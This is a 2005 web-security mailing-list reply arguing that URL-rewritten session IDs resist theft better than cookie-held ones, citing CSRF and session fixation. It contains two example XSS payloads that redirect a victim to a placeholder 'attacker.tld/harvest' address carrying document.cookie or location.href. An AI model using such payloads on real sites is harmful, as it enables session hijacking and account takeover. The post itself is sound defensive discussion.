WebApp Sec: Re: Maia Mailgaurd http://www.renaissoft.com/maia/

[Achim Hoffmann <kirke11 () securenet de>]

On Mon, 18 Jul 2005, Chuck wrote:

!! Responses below....
!!
!! On 7/18/05, Achim Hoffmann <kirke11 () securenet de> wrote:
!! > !! In short, you are better off putting the session id in a cookie than
!! > !! putting it in the URL.
!!
!! > In short, it is much simpler to steal session ids from cookies than from
!! > URL, exceptions see below.
!!
!! No, they are both easy.

"both easy" disagreed, explanation see below

!!  If there is a XSS on the site, then you can
!! get the URL with window.location.href.

That is basicly right, but the cases where you can exploit it are limited to
those where you can place the malicious content or link inside the application
itself, for example inside a user forum.
Or in other words: without first knowing the session ID (which is in the URL)
you cannot exploit it remotely, in particular you cannot send an HTML email
containing the malicious link.

Examples:
  a) using cookies containing session ID
     you simply can send a malicious link to a user (or tweak him otherwise
     to click on it) which returns the cookie like:
        https://vulnerable.tld/appl.cgi?xssHole=<script>document.location=
           'http://attacker.tld/harvest?sid='+document.cookie</script>

  b) using URL rewriting containing session ID
     now we have a link like:
        https://vulnerable.tld/appl.cgi;sid=someSessionID
     even if the attacker knows of a XSS vulnerability in appl.cgi (like
     explained in the above example), it's not possible to exploit it 'cause
     the mandatory  sid=someSessionID  is missing
     tweaking the user to click on:
        https://vulnerable.tld/appl.cgi?xssHole=<script>document.location=
           'http://attacker.tld/harvest?sid='+location.href</script>
     will not work cause there is no session ID in the current URL

In 90% or more of cases XSS is present in a transient form, that is you have to
pass the stealing-code in a link (in an email or another website) to the user.
But in this case, there is no session-ID-context and thus no session ID inside
an URL that can be stolen (it is the URL you pass, that you access with
location.href). Only if it is in the cookie it can be stolen in this way.
I consider this a fundamental difference in exploitability and thus a big
advantage for URL rewriting.

Other pro-URL-rewriting arguments:
- perhaps the second top most vulnerability after XSS in web applications
  today is Session Riding (aka CSRF, aka web trojan, see
    http://www.securenet.de/papers/Session_Riding.pdf)
  URL rewriting is safe against Session Riding. With cookies you have to
  take further measures.
- Session Fixation, although not generelly impossible with URL rewriting, is
  much more often encountered with cookie-based session management.

Of course, there are disadvantages of URL rewriting and it depends on the
application:
- application has to ensure that the session ID is not within other links
- application has to ensure that the page does not contain links to external
  websites 'cause it then will send the session ID in the refer(r)er header

But in general I tend to recommend URL rewriting over cookies.
Best, of course, is to use both: the session ID inside a cookie and an
additional secret inside the URL. But this is much more expensive as it is
not automatically handeled by todays libs and frameworks.


{-: Achim